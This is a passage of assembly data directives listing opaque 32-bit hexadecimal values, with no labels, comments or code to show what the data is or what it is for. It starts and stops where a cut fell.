0E24F7F7Eh dd 7D504455h, 40E854F1h, 0A745597Ch, 787080E9h, 434F533Dh dd 54451C4Bh, 7C52DC5Fh, 5D96A2F3h, 0E1687273h, 6A243D12h dd 0BEBDA1FEh, 4462A7ECh, 0DEF48213h, 7964122Bh, 0E989F691h dd 2ACE40DEh, 8C481F79h, 1C465974h, 663625EDh, 3559D285h dd 2B327E26h, 0BCF8D376h, 316BD1CFh, 2F4B2928h, 303A53EFh dd 715B2FE4h, 176990A7h, 72002924h, 5A73D9B9h, 8D6095D4h dd 92B49063h, 474F9BECh, 8502E64Dh, 674E5A50h, 0DA4454B5h dd 5F694D45h, 0F5EF1193h, 3CB3AB69h, 39C2086Dh, 0F2CF6E31h dd 0D4E827EFh, 0F7CDBB3Dh, 9D61740Ch, 0ECE9F8D6h, 91C197D0h dd 591E664h, 974A034h, 2E053A57h, 2573B85Dh, 0F77967DAh dd 0E688D0A5h, 0FCD69D64h, 14496379h, 5C9D34C2h, 34427B35h dd 74FAA41Ch, 441C006Eh, 4C505349h, 4B594138h, 0B0EA65AEh dd 941C80ACh, 8C19437Ah, 0B3157409h, 4C8086DCh, 9406521h dd 10186C30h, 0F8110C89h, 0D4111E79h, 0F9C88879h, 2B9C13A4h dd 64188809h, 91644874h, 2804F248h, 78F04290h, 0C402441Ch dd 9B821CCh, 9118AD98h, 4C304064h, 1818948Fh, 0E8E223DCh dd 0E2D03177h, 0E894443Ch, 8F84D740h, 38C84C91h, 8C76ECF8h dd 118FCC78h, 0F950C87Ch, 3EC21D14h, 1E75C823h, 68C423B8h dd 233E3C72h, 0E01E74FCh, 72B0C423h, 54473E90h, 0F8E24023h dd 0E2D83173h, 2384473Ch, 7104E454h, 331E72D8h, 2B902198h dd 64187009h, 2330502Ch, 71C4E210h, 0E2A01891h, 236C473Ch dd 722CE460h, 0EC233E20h, 23E01E70h, 0A072ACC4h, 2364473Eh dd 7714E450h, 6FD0F808h, 0B41E289Bh, 3218E823h, 18B66809h dd 2C234C47h, 0E8710CE4h, 0D0111E6Eh, 0F9CC886Eh, 2BA013B0h dd 64189809h, 0C8E04264h, 36E86242h, 4104418h, 6DDC09C6h dd 0B809C899h, 11B3A8A1h, 74092288h, 0AD5C6444h, 0C8309118h dd 6CF8F828h, 10F0698Ch, 5C52205Bh, 3D33086Dh, 852F4E9Eh dd 0C8EE77C8h, 3BF9204Ch, 0BCACD995h, 0ECDE4827h, 4F534BBCh dd 5506C1EAh, 201AB56Eh, 296B8281h, 8D32384Ch, 1C0BF54Bh dd 0B4399428h, 8FF5EB6Bh, 34297695h, 6E0E3121h, 0D2AF5377h dd 0ECDF2E80h, 4D4485F4h, 0EA844428h, 0B770E2B6h, 4251B8FCh dd 8572294h, 0F9724E3Bh, 2440354Bh, 0FB6BF06Dh, 0AC6F4CBBh dd 39F9B93Dh, 622F7033h, 0F8DD2242h, 0E72CA358h, 3280D93Eh dd 0FB91DFB5h, 8AC94E86h, 1F49D798h, 38162C75h, 2096FE49h dd 6C6299BDh, 0ADFF4818h, 2574B2BEh, 0A543F949h, 7CC108DFh dd 0ED3A4151h, 93732AEBh, 0E7484BF7h, 6025F79Ah, 0D3262044h dd 5324EE32h, 322B36B9h, 0CA4966D0h, 20527550h, 963E12ABh dd 345CA96Bh, 0C46843F0h, 0AC656D18h, 9C698A7Ch, 94EE4E13h dd 544C3C33h, 6C9B61B7h, 6B64689Eh, 29582A2Ah, 4720584Fh dd 0C7733657h, 1640A0FDh, 99FEA0D3h, 180406E9h, 9E6C72BDh dd 0C15213A7h, 956C416Dh, 0F4A87414h, 21693C74h, 4091441Eh dd 823C0EBDh, 92626954h, 0FD10AFDFh, 90EC5238h, 291AB948h dd 0F4FF523Ch, 448F9762h, 897715B2h, 2092F172h, 688DE076h dd 239AF1B5h, 0BF7BA03Ch, 6D7669DAh, 9E34454Ch, 0ACB969B7h dd 341309Ah, 534E4556h, 4CA94948h, 48342344h, 5E633634h dd 513DED87h, 5E24EE5Bh, 5F454472h, 7FF1DCD0h, 0C606A5E5h dd 20736E84h, 4C71A6DAh, 0A337523Dh, 0FBC8795Ch, 0E3DC504Ah dd 150AE77Ch, 0D0964C48h, 5E68BA48h, 403BD28Eh, 0E19C3F9Ch dd 92494663h, 85819441h, 2F3A5A40h, 11334132h, 9C403E9Dh dd 1ED74AE1h, 13F4246Fh, 0E465BB3Ah, 5BA0E97h, 32E45B3Dh dd 0B395B045h, 71582332h, 0D94DE547h, 4692E653h, 2DF44514h dd 702346AFh, 0AC3C672Ch, 9148E664h, 513A15B2h, 92F7A506h dd 686815F2h, 3D1CD23Eh, 94B6087h, 5A44783Ch, 7325BC50h dd 0D4846959h, 6C3FA478h, 4DB34AD1h, 65EB2645h, 6E3092B2h dd 0A53F92A5h, 0DB4DBB44h, 3ACA2EA8h, 0AFBC3535h, 6C0AAEF1h dd 1B4E69F4h, 914C424Dh, 0F87CD1E5h, 6B724042h, 7EB775F1h dd 800A5CF5h, 52500EBDh, 0F9849168h, 0CBF4741Fh, 45472620h dd 0FD616209h, 4A9F296Ch, 68D017ACh, 503AFA36h, 474728E7h dd 6C53D95Fh, 34B45C4Bh, 0EA53252Dh, 0D3B07884h, 9F6F6942h dd 3A375682h, 0FCAF7071h, 554C6847h, 3D483EA3h, 3D5C1252h dd 2899BCACh, 256F105Ah, 2994203Dh, 157A6CA5h, 484DA14Eh dd 5229EA4Ch, 8AACC4D5h, 16F9552Ch, 8D546021h, 0AD49A132h dd 2F3EA056h, 632AF66Ch, 0C4E5620h, 4C0D10AFh, 0A43642AEh dd 3105502Bh, 0A1323439h, 9688B31Eh, 0A4EA4874h, 6E2DE358h dd 0C7DF2513h, 14281949h dd 4EA27D68h, 7C484D87h, 0BE524F7Eh, 0F61F4816h, 0C80A10B5h dd 16D77029h, 4809C454h, 16C97445h, 382A8FA8h, 8EDD056h dd 66DE464Fh, 0C4BA641Ah, 9832FBCDh, 6BF944A8h, 75624A91h dd 3990B428h, 494C21F4h, 0FFE1CA47h, 7641343Ah, 5399B69Eh dd 0D3E66B59h, 27216884h, 51D71D6Ah, 6E550BE8h, 4B323DAFh dd 0CA5C7524h, 6974C94Fh, 304B347Eh, 1E4F2146h, 0AC7CAD6Fh dd 6C5C798Bh, 1C0DB12Fh, 2F956870h, 0B2575455h, 914C179Ch dd 3321AB33h, 0B33A752Fh, 0D74ABA5Dh, 0CFD4B2Bh, 9E4920FEh dd 6F0E48B8h, 0EEC085B2h, 0ADA920B3h, 1914BB58h, 0E6664F9Eh dd 30926F6Eh, 95409479h, 364A9D74h, 0DA3E799Eh, 380A3779h dd 42D728DAh, 2F4CF76Dh, 0E3F94CE0h, 92644E26h, 26C94D65h dd 0EB7A6933h, 2ED4E4EBh, 49E58510h, 0BA722D3Ch, 337038C6h dd 9D307464h, 634B9576h, 264DE684h, 27297972h, 0C6CE789h dd 7608707Fh, 7979656Bh, 0EF57E54Ah, 354744E2h, 9F254717h dd 485DD259h, 2D662283h, 0DBA4694Ch, 0D5563A40h, 1BBADAD0h dd 70BDB134h, 906EB260h, 5F684C28h, 5E07B8D7h, 3C79E434h dd 390B2709h, 4784114Ch, 6BAF1F6Ch, 492148B6h, 9D14672Fh dd 75C4B891h, 0E3FE0D94h, 1EA041BBh, 50E95B33h, 9EB22DC9h dd 8D4CA662h, 64952970h, 0C8C0850Bh, 482E682Fh, 5CF8D2C4h dd 0D974DC9Fh, 24FC6E25h, 0C66364F1h, 82D23CFDh, 9FCA6C96h dd 0E5BFE0E6h, 6E5A2DDFh, 0FDC93487h, 312369C7h, 9DD43068h dd 24C8AE7Eh, 0D615127Ah, 7B3C6856h, 6BB67745h, 0EEB5D6E8h dd 0AD2EA938h, 94552744h, 68688DE7h, 0C45F6BE6h, 0BC6AE147h dd 0E6A6B6E8h, 7003A469h, 6B80A501h, 0DD59E25Fh, 612C47F9h dd 62510CABh, 86404CE6h, 0EB248577h, 9AE83C5Eh, 725924E8h dd 97ACFC3Bh, 0F75B6DE9h, 90E947FBh, 0FCB8B52Ch, 0EC95E4D0h dd 69B47042h, 0D7C20D20h, 0FF772339h, 6131B09Fh, 3062522Bh dd 73E39A5h, 4C389A29h, 7BFB641Dh, 0ED6E05A5h, 6562F30Ch dd 0AE72660Eh, 0C2E6CDE5h, 9441A73h, 5C94FFDDh, 0F52D2C87h dd 8ABCE32h, 0DD52AD5Eh, 46D50832h, 68608508h, 4013CA0Ch dd 4B66312Eh, 0CAFE4249h, 7A6B0F40h, 5A2C520Eh, 3E34EA4Fh dd 0AB5E442Ah, 602BA624h, 6F616BDDh, 471FF6B7h, 729FDE38h dd 0C916DF75h, 0E25A8BF2h, 8EA85AFBh, 0CA28A770h, 2724B45h dd 2C232D8Dh, 0BD1467C5h, 0F735A524h, 0A868EDBCh, 288CFEB4h dd 63CB0BE1h, 4EC7E7D5h, 645F550Bh, 676EE1C9h, 994404BDh dd 51D5C2DBh, 1D64AC64h, 6DA27B64h, 0E0A9D89Fh, 0B111D53Fh dd 0B514B596h, 0F6AAD1D2h, 0F5E7DC64h, 4E7F57ABh, 0E13FAAB7h dd 0C1362C79h, 9D56538h, 0B428B96Eh, 0A94A3C3Bh, 726DA756h dd 10D277EEh, 27DA7995h, 218AED7h, 0DF5C3A41h, 92EF787Bh dd 39A837AAh, 7C856333h, 0DEB77320h, 847FA98h, 0F55A4821h dd 0DD35AFAh, 0EF4F14F9h, 0A10E107Dh, 2025B376h, 0C975ECA2h dd 0ECDD70B2h, 0C93485A9h, 16824F9Ch, 9E2A72DCh, 4BBD677Dh dd 2C7EED6Ch, 0FE61C44Eh, 0DF7D75F7h, 0F96D1F22h, 2B791465h dd 0C90A4B64h, 499E554Ch, 772B7727h, 2843A876h, 6444F250h dd 409EF368h, 356F5202h, 5C630A73h, 2C530DDFh, 0DA967B20h dd 1A28671Dh, 5F08492Fh, 0D229E465h, 85D7556Eh, 0EAF451Bh dd 4F0B44E7h, 411CE556h, 0FFAD4916h, 1C9B1891h, 0D34D282Dh dd 741C3F1Bh, 58B4E86Ch, 0F84A1F44h, 28553C2Dh, 0FC950769h dd 491C48E3h, 9D83C6DDh, 48BE12DCh, 10F8932Ah, 15451CD1h dd 0D1ACAC3Bh, 0D0BB431Ch, 24EB4E20h, 403B2AB7h, 15AA7480h dd 35A13859h, 54071CC8h, 2E164C44h, 28129D09h, 9E503824h dd 6C6C989Ch, 35FB9579h, 2E69DF6Bh, 24F97B2Fh, 4A34F897h dd 0B1650EFCh, 7C082757h, 4F7B4C0Ch, 8B84FFE5h, 692FD84h dd 0E3D42F29h, 2941994Eh, 58B01274h, 6416AFC9h, 0B3A4E08Eh dd 19CC10CCh, 6009CC40h, 0B1404C21h, 9928899Ch, 0A439AC11h dd 2CDC811h, 958265Ch, 630C5444h, 0CE2020BAh, 30500828h dd 8C4809C8h, 7020B2D4h, 4408B965h, 9C415419h, 19407999h dd 3809913Ch, 30443422h, 1128892Ch, 24033DE0h, 9201133h dd 1C1922F8h, 0A2141844h, 9640C40h, 17048908h, 8DFC8D08h dd 0F4099151h, 0EC44F022h, 12E489E8h, 48D024D8h, 22BC91C8h dd 0A4AC44B4h, 94129C89h, 80488C24h, 74227C91h, 89646C44h dd 24581260h, 91484850h, 44342240h, 1C89242Ch, 8241412h dd 88CFC44h, 22EC91F4h, 0D4DC44E4h, 0BC12C889h, 0A848B024h dd 9822A091h, 89808844h, 246C1274h, 915C4864h, 444C2254h dd 30893844h, 18242412h, 8911048h, 8BF88870h, 0E812F081h dd 0D448DC24h, 0BC22C891h, 89ACB444h, 249C12A4h, 91884890h dd 447C2280h, 60896874h, 48245412h, 34913C48h, 24442C22h dd 120C8918h, 8AF82304h, 0C48BD974h, 12D00959h, 48C024C8h dd 22B091B8h, 8C9844A0h, 74128089h, 64486C24h, 54225C91h dd 89404844h, 242C1238h, 91184824h, 20042210h, 0F44489FCh dd 12E889ECh, 48D424DCh, 22C491CCh, 0ACB444BCh, 9812A489h dd 88489024h, 78228091h, 89687044h, 245C1260h, 91444850h dd 44302238h, 14892028h, 0FC220812h, 48F00488h, 22DC91E8h dd 0C45EBFD0h, 0C811CC19h, 44090C46h, 0B089B8BCh, 0A024A812h dd 90919848h, 1280897Fh, 486C2478h, 225C9164h, 44504458h dd 28A600B3h, 0BC508949h, 84C992Ch, 3426BBC4h, 661C6AD2h dd 0B9C02C24h, 8C90C968h, 4081884Ch, 0CCB10842h, 58645948h dd 643960CBh, 9204644h, 89383C44h, 24301234h, 9124482Ch dd 4414221Ch, 80AE4C0Ch, 5C84BC98h, 0A5C30845h, 4D0ECECh dd 0C87FC14h, 0C40464A4h, 0F44CD878h, 91F039CEh, 81D8AC78h dd 304BDC1Ch, 0CC19D432h, 94981096h, 0C8660884h, 4409C029h dd 0AC89B0B8h, 9C24A412h, 8C919448h, 84448822h, 1270897Ch dd 48602468h, 22549158h, 0E0365E50h, 9C73511h, 7E9B347Ch dd 837B47F8h, 7DFA6F79h, 487310A7h, 3DCB5CBCh, 3D59CF78h dd 1D2E6C1Bh, 6861DE04h, 5A3CE108h, 7A6D7E70h, 2134A366h dd 75843011h, 0FE256168h, 89A6287h, 0DC1FE93Eh, 847410B8h dd 0A3AA7567h, 52490AA4h, 4207084Ch, 0F709594Fh, 2FF194ECh dd 53C674A8h, 0D4B7206Ch, 25EC6B4h, 14A26674h, 4C07F27Ch dd 142A5655h, 547C5F0Eh, 0D4623890h, 52724248h, 9470E1DBh dd 26727445h, 69111041h, 6C3F796Dh, 8BF076BBh, 7308FCBFh dd 5B666438h, 0BE67ECD3h, 342DDF41h, 0ECC9BEBDh, 0DDA141AFh dd 0CE38717Ch, 0DF51B591h, 8E695932h, 77FC917Dh, 64B90A2Ah dd 0DC793CE8h, 662D8995h, 2B7B0811h, 9E112214h, 7D941024h dd 75680A10h, 47360862h, 2831D46Ah, 2D3E0842h, 10401A49h dd 9168EE77h, 61A5BF40h, 34AE6E62h, 5FC5F2FBh, 9BF4EBCCh dd 284B8E7Ah, 417800EBh, 4445544Eh, 564F4C13h, 7563C780h dd 72ACC26Dh, 20833932h, 4D934441h, 61EA118Eh, 7B655605h dd 9A097D52h, 9560724Bh, 8AC19689h, 3EB85675h, 53E64C71h dd 24333428h, 0F94F82CEh, 2B3608Eh, 23E75219h, 998E4A50h dd 336D6514h, 6F487849h, 307C79ADh, 5B64F1DEh, 0FAF86B13h dd 65D892D2h, 245CCF7h, 482D454Eh, 665F4241h, 0A57551C0h dd 737A69C0h, 0DEAA906Dh, 0BE6B9260h, 0A4B8988h, 5941524Fh dd 21C84890h, 3C669A99h dd 50C5DDD8h, 0A04E6441h, 34123033h, 224FF31h, 7377C2BBh dd 367C535Dh, 3220FA38h, 0C6F0BD38h, 248D4D5Bh, 0C94CF2A0h dd 0C8F9762Eh, 6299791Fh, 64076320h, 0A9E2AB69h, 4C34717Fh dd 6CCB306Dh, 5E9554F8h, 2092681Ch, 763AC5F1h, 6B510964h dd 0A0405208h, 4D4739E8h, 0BBC14EB4h, 362E2CA1h, 0CCA33803h dd 0D03C519Dh, 69A66C39h, 1EE06A65h, 1C312879h, 0A64E6546h dd 14702B6Eh, 61118C41h, 4A441272h, 43A906EAh, 4E072045h dd 32332D4Bh, 776AA03Ah, 0C9743E39h, 494C8674h, 236B6825h dd 7AAD3B48h, 363385E0h, 55098498h, 0A8524147h, 0C3E24B1h dd 8695665h, 3842E94Ch, 68AB844Bh, 0F4362E94h, 746CC6E6h dd 44FC4131h, 45D44965h, 0E5EC9F25h, 48049994h, 85554E49h dd 1C84EF5Fh, 7946948Ch, 0A444FA4Ch, 626526B8h, 6A05A865h dd 3D1F4F45h, 6A287AA4h, 7D611C78h, 0D1428058h, 2BC8453Dh dd 0B0E32D35h, 487454F8h, 5E980E82h, 419F5AD5h, 4BE00514h dd 70133350h, 1E74F83Ch, 502A2D34h, 6669790Ah, 38289B6Ch dd 0EBFD8DA2h, 709D84CAh, 42036EF1h, 3931C51Ah, 90C9FF4Ch dd 0F448A17Ah, 4E6F4381h, 5ABB7547h, 0A7789172h, 334952D8h dd 6F628384h, 5489FD67h, 6A94C12Eh, 987AAB75h, 0D0993C28h dd 382A04A4h, 2A77594Ch, 624C342Dh, 48989007h, 6A119230h dd 43A04028h, 51304B53h, 74258C5Bh, 0E379F075h, 6568219Fh dd 7076F5C4h, 41F8FAD4h, 0FD6814F7h, 5D7025DEh, 0B440BA12h dd 14A14754h, 792B6073h, 313247C6h, 49502A19h, 0CC53E9FAh dd 99227173h, 24AAA410h, 0FC4F1568h, 781AAE5Bh, 5A9185BAh dd 9C4114CDh, 60224544h, 0CA672C49h, 981B396Bh, 80C9FAD5h dd 0F5F2FDF6h, 0A02A7468h, 2D4D2B31h, 0E852E930h, 360CD656h dd 64484228h, 44DA9B40h, 48418E3Ch, 9170A34Bh, 59528AACh dd 0DA4A1808h, 48644349h, 0B48554D8h, 358D0D1Bh, 0E10273ACh dd 0CCAFF293h, 37C9FF76h, 55204FC1h, 69D2F94Eh, 6A1560Bh dd 0AA64A9D0h, 69D8989Ch, 0F4380261h, 0A09A3732h, 6F38ABA9h dd 638D79A8h, 38EB716h, 1DD5A808h, 1D353452h, 0C94E7A33h dd 891645C8h, 969704F7h, 435A7950h, 25D37C85h, 2CDA5C47h dd 65D61296h, 0BC91FF64h, 0BC3E7544h, 697C9D7Ch, 42E35F18h dd 5FC8D84h, 7866D695h, 36DDF883h, 2BE332E0h, 0B94064F9h dd 0A821D461h, 0F5FBB877h, 16D79C28h, 6AFC3323h, 6F445871h dd 0AC889D62h, 53B82010h, 6326D876h, 7290B3B6h, 591379BAh dd 0D55E3324h, 24A984D4h, 664D8368h, 5578B225h, 9863B4B2h dd 6A00B394h, 73610450h, 0E67F6977h, 31721010h, 824B7264h dd 0BC645A47h, 0AF61AFA2h, 4391A679h, 0A634939h, 3459454Ch dd 5E6C789Ch, 5866CC33h, 7136A258h, 547435C9h, 0DE88495Ch dd 244E09F2h, 91564842h, 44582243h, 4B894C5Ah, 48244A12h dd 46914748h, 53444422h, 124F8950h, 1A682855h, 550A0954h dd 95746F8h, 89625144h, 247A1278h, 9168486Ch, 44662267h dd 6EB57779h, 6C7097D8h, 344C9084h, 66FF4FCEh, 1C85209Ch dd 0C3B1DDAFh, 74DD6022h, 512D01BEh, 1C643EB2h, 0A6F78731h dd 95F10530h, 323A18h, 5F607C2Dh, 4B5B7B5Ch, 5304E5Dh dd 10030B02h, 1101BCB9h, 4B816D0h, 6400C53h, 0A8BD0080h dd 0C97D8AAFh, 0F45BBE11h, 291A10ADh, 45DD3189h, 33754B24h dd 8699703Bh, 0DD80186Bh, 0B0E05B3Eh, 97520100h, 11D059CAh dd 0AD570A8h, 800DC9A0h, 26004EF7h, 371D55B5h, 46C5C100h dd 8F6379ABh, 0E868112Ah, 60C44A69h, 140476FAh, 0BDECEE9Dh dd 5F24F059h, 5B4C5525h, 290F4B2h, 2B97DDB0h, 9CC3E5CEh dd 0B5ED6A25h, 1235ECDCh, 0EB7885BAh, 408998E2h, 66C519DFh dd 5B0A0DC4h, 6C26FF3Ah, 7ADA9D12h, 1050226Ah, 0A4841635h dd 10D0B2ECh, 0A366F592h, 7347275Ah, 17B4943Ah, 4ECCA8AAh dd 0AFDD64B6h, 0D4B57EC6h, 0FCFEEE7Bh, 0B76BED4Eh, 5CD2300Ah dd 59DCC923h, 0A5E0D149h, 0A808166Ah, 59D5F228h, 0F35927BEh dd 2C8B0168h, 44E84391h, 891C0C08h, 890C1C14h, 40FC1C04h dd 18E9F490h, 12E489ECh, 48DC2401h, 220291D4h, 3BC44C8h dd 0FDADC0B1h, 4B64F491h, 5089700Ch, 2900FC6Fh, 21B50864h dd 4545B3FBh, 10A3C208h, 35DC7261h, 7A18CDFEh, 60A1D0F5h dd 0BF202008h, 868CC5Eh, 0E5806B69h, 0DF11645Ah, 52CB00F1h dd 620E976Dh, 33CDFFD6h, 0D0A9E96Bh, 2865E524h, 28353334h dd 2DA6F3AAh, 23A8672Dh, 4C24A350h, 54BD6EE0h, 0F0F3C998h dd 22BE6393h, 6C5D64A0h, 9FF8B106h, 7BBFE468h, 3458D5D4h dd 2E5D88D2h, 0A28E20AEh, 0E19361F6h, 0A98B5D2Fh, 208167FDh dd 0A86AF924h, 5D229A94h, 0DDAC49CEh, 328463B8h, 0FB9E14B5h dd 2E6E514Bh, 266324B2h, 7CD2A014h, 0E221A950h, 2280972Eh dd 5F11B87Ch, 0F335AE6Bh, 7AF0E1BEh, 2C4337E6h, 47E0B2D3h dd 1EC4BAEh, 45FD4CA6h, 90B3FF24h, 0D29BE5Eh, 8576B295h dd 1FAE309Ah, 0DA22A8BEh, 0E45F3836h, 823F1B2h, 74A4A294h dd 0CD427466h, 0B052A145h, 7D9D7FAh, 57A2048h, 0F4E870BCh dd 0B26144D9h, 0BB72348Bh, 611A391Bh, 0A73B40D5h, 35859A4Fh dd 483E2344h, 85D4F29Ch, 857C4029h, 0B2FDAFE4h, 1FE5176Ah dd 36F66541h, 1563E96Eh, 0AD4424B1h, 0A42E95D7h, 33B3DE20h dd 526CE4A7h, 0FB77A42Ch, 0B5761446h, 0DB493856h, 5C14A4F4h dd 0C86F7EBFh, 6581A3C4h, 29E41277h, 0C2A0AF9Bh, 5D510FE7h dd 0FCC90A26h, 0AADABEF7h, 0A1438938h, 96A6C89h, 6B5570E1h dd 5C8CDC64h, 82F39D41h, 0F7DA41A4h, 0DCB459D3h, 2A528C2Fh dd 0BA9269CBh, 0E9286BDCh, 9CC98C93h, 244AB305h, 0F5AB5AF9h dd 0A13F45D5h, 0F143AA30h, 2593D922h, 69DB4935h, 0AFA75C95h dd 0F7794BEEh, 0AB87DAECh, 0C81DF6AFh, 0C9F6252Ch, 0A7E71769h dd 36E92CD6h, 0AD3487E8h, 0AF351ED7h, 0E1DFCDC0h, 345AB466h dd 0F1D728DBh, 4F541BCFh, 0AE928FE9h, 39DFA27h, 166B6477h dd 3A52945Ch, 520C3118h, 186B2826h, 1832ADB2h, 0C33A8EAh dd 41BDA6FCh, 0CC746B0Bh, 0D0669422h, 4D18DA83h, 0AD101455h dd 33FFAD6Eh, 3A743873h, 9A42F4Ah, 47726168h, 5478AEA2h dd 767441D7h, 0C473407Dh, 0C2ED51DAh, 311B77BDh, 0EA145334h dd 3606A332h, 0DC0B7A75h, 824E162Fh, 9D8859CAh, 0EBED734Ch dd 5390C4B2h, 0C8E5809Ah, 5B1D5395h, 32826BBh, 56765269h dd 0A282546h, 0B7EDA01h, 44FE9322h, 0EA630CCAh, 0A9D2ECA1h dd 0A37F563Fh, 0DED4C8EFh, 9994308Ch, 8D20BCDAh, 68502324h dd 0A81A241Dh, 0C2DEBDA2h, 58EBD4E8h, 78746638h, 57743D50h dd 66BD6BEAh, 614D0970h, 98DE2E78h, 5404F749h, 4F3CF63Ah dd 2527DFD3h, 74614C52h, 43175875h, 4900FE9Fh, 28952B2Fh dd 3D54BFD7h, 31E34B3Dh, 25532964h, 0EED349A8h, 1434D574h dd 0EDAD4EEh, 3B356619h, 6E291047h, 0B151254Ah, 2B4DFBACh dd 60180A71h, 9F617742h, 816890D9h, 14481A68h, 0B43841E5h dd 0B5DCBF50h, 484476E8h, 0BE5B4BBCh, 29AF753Dh, 46D8A4FFh dd 6243AABCh, 0BAEE294Fh, 0F4B5F9F0h, 47094E31h, 9EFC7955h dd 499EF55h, 6DAF2A41h, 16952F88h, 53D332BEh, 111424AFh dd 97ECBCE4h, 50BE1413h, 0EFD311F2h, 0DAB98011h, 0EF9A751Ch dd 0EF9D9F93h, 49748CF7h, 61B3BC2Eh, 4144CAC5h, 6B62319Ah dd 67A18A34h, 27D26A38h dd 0D0FAEF3Ah, 0C724F09Dh, 7A554C74h, 5CA1B6A4h, 5210D7DEh dd 0A4624E86h, 0E988FC3Ah, 0B23B1ED5h, 1D74BDDBh, 13EC6A52h dd 1A935C61h, 0D02C32EDh, 3852E437h, 581CA6ABh, 4C3DBDAFh dd 0D79029ADh, 26968DA2h, 0F6BD120Eh, 6C94EB4Ah, 0CA6F283Dh dd 0C0BC8B2Dh, 0C5B6BDF5h, 0A1CFC97h, 0CA2F7963h, 292E42A3h dd 64FD98BAh, 525896F1h, 56398659h, 0D19DD3ECh, 2491230Ah dd 27736F27h, 0D4BF9DA2h, 0E179EB2Eh, 85642634h, 524A86A8h dd 29A2AE4Eh, 0A1D2E25Dh, 0D0DF2DB3h, 0D0089419h, 54A34E8Eh dd 549A254Eh, 0BAB609E4h, 27ED4D84h, 646554A2h, 48864B97h dd 0FED7AE6Ch, 5A56A78Ah, 0C9F944CBh, 8BAA62B5h, 712A4E33h dd 176FE5Eh, 0D856B74Ch, 0EEF6E1EDh, 7AE886E4h, 0ACF19F44h dd 0AAEB7ACh, 0A5249452h, 24C8E8CFh, 1BDFC9B6h, 4E2528A4h dd 0BCE8D36Fh, 4C995F02h, 6AA1D84Dh, 16C69CFh, 0D654E5BCh dd 243E6451h, 5F569A67h, 2EA17CFBh, 42FB1894h, 0B17E3C1Ah dd 0AB1D3570h, 0B37F6EE3h, 652C218Dh, 0BAF3EF6Dh, 4F2DAE96h dd 30C4333Ah, 282D08CEh, 2268E39Fh, 11E10C09h, 0E8029EF4h dd 0C848D824h, 9C22B091h, 89849044h, 246C1278h, 91544860h dd 44382244h, 1489202Ch, 0F8230412h, 991639Dh, 72883169h dd 6E723435h, 6984B995h, 0D5C75F9h, 95337264h, 10869BC6h dd 9C0B7252h, 0D85B728h, 0ECC65F25h, 19680D8Bh, 0F04B0C69h dd 734D4CB1h, 34505815h, 683E628Eh, 366C52ECh, 85A15024h dd 5A323373h, 3D74920Ch, 82416414h, 0D442534Dh, 0C541570h dd 63736D02h, 249A6276h, 0A188F9DDh, 0CC0E273Ch, 76AFAC76h dd 8421A594h, 676663E1h, 0DE602D49h, 6D6B3473h, 7A1A4DF2h dd 0C1EAAC10h, 286D720Ah, 0BC64DF6Fh, 0AA77700Dh, 2168940Ah dd 347AE60Eh, 19861F98h, 3AB1F8D3h, 0E5574D1h, 0A8B7AC5Fh dd 0A5394CAh, 676966A4h, 61C2C940h, 1C12BA4Ah, 0F79A3257h dd 7F4B9051h, 7AF314ECh, 0D9B775B8h, 24E85A5Eh, 0FE45BDDCh dd 7FEB24A1h, 2C86ACECh, 0DD3A06CBh, 0D97484Dh, 4A149FAAh dd 0BC974BE2h, 60ECD20Bh, 40403F90h, 0A0D292Eh, 3550C530h dd 2AE9C917h, 170175AFh, 0F4CAFECCh, 0A1ED5842h, 0DFE93062h dd 4927513Eh, 0DCE0D44Fh, 0D2A8FEB7h, 2AFC3A7Dh, 6425119Bh dd 0A0D02584h, 0C85308E6h, 64C42208h, 48BC09C0h, 3A4484B8h dd 30240D5Ch, 89117EFBh, 494DF441h, 50D54E45h, 0D70B0E47h dd 75AD306Dh, 4597321Eh, 2FA7243Bh, 2E1A995Fh, 35D6304Ah dd 628C8D35h, 11894B66h, 0B9C4E97Ah, 1F3C2309h, 36D25339h dd 8DD25447h, 3B2114B6h, 55738850h, 41BC7311h, 0F8766429h dd 49FB9DF6h, 4A4B4DCAh, 2509F48Bh, 67D9AB9Ah, 0F22DE3AEh dd 0A33C8DCEh, 97162F28h, 46C8F9BEh, 0EDC45394h, 0E426BC6Fh dd 3C6E3E24h, 0C74A2446h, 6D79236Dh, 47B7E8A5h, 5744F2C0h dd 0B43DE762h, 9C9521A2h, 14508FDEh, 28901B44h, 999DEA97h dd 15049161h, 387F1412h, 65644875h, 0C46325C4h, 105C19A5h dd 0DAB05A24h, 0ADEDB657h, 6A5468ECh, 721057B8h, 95B14FBFh dd 6EB5BA4Bh, 6E75126Ch, 249CBE2Eh, 0C497747Ch, 0CAD0856Dh dd 7A772962h, 530F34D4h, 552FEB54h, 0D30CDB8h, 4BC259B5h dd 1A67975Fh, 0D0C52864h, 50BAF5ADh, 45CD5B0Fh, 0BA2557C8h dd 0A0F2824h, 2F746962h, 558A3EAFh, 0D3114153h, 610A4FFFh dd 0E758DA12h, 38676129h, 7746D4E8h, 672E1C02h, 0EFA9656Fh dd 6A49608Fh, 790660F9h, 86246861h, 5720820Fh, 7974CF60h dd 20F37397h, 31641A10h, 1112BF61h, 7F401009h, 6277696Ch dd 0A8EB9C90h, 8BD04166h, 4015D028h, 757968D4h, 848BEA3h dd 906C4659h, 96F1DE3Ch, 0D7D76E79h, 14685F5Ah, 76F83CA8h dd 0CE8446D2h, 0C0F44864h, 0BE22A433h, 0FC072593h, 0EA73C775h dd 16202156h, 2937F862h, 526D3074h, 0D07D2468h, 0EFE4540Ch dd 43313011h, 7E6F34D0h, 1F140EF1h, 411A1015h, 4EE00FBAh dd 0ECF05B94h, 8462A464h, 6F782914h, 0E5C42161h, 64700D69h dd 472F4A10h, 3BA0586Ch, 3075B66Ch, 0FD508C36h, 6863568Dh dd 1099CE44h, 749F6831h, 48E11FA4h, 58EB667Ch, 2890753Ch dd 0FE25BC8Ah, 6C3C366Ch, 7D5FA2F5h, 64642559h, 6D496808h dd 6C7118B2h, 436116A4h, 0DB225550h, 34364900h, 7A484D75h dd 0D8222E6Bh, 7711822Fh, 0F6D61709h, 0B5194A5Bh, 723DA7BBh dd 0CB3BEB57h, 43379A13h, 8A324BA5h, 2A334EA5h, 4406622Eh dd 0C8627542h, 0A7298011h, 62328B49h, 1D412C07h, 8576B748h dd 53A2336Fh, 5B572B9Ah, 55882FCDh, 0A875EB29h, 54C10C47h dd 0A0B6D69h, 0E747055h, 3E4E54EAh, 0F2024D9Bh, 63092E79h dd 7385D157h, 0BCDD494Bh, 894A469h, 0CAC4BAB5h, 0C4318879h dd 0F87B41F5h, 0EDAF9021h, 1CBF7004h, 0FB4C1C93h, 406CA14Fh dd 70752D0Ah, 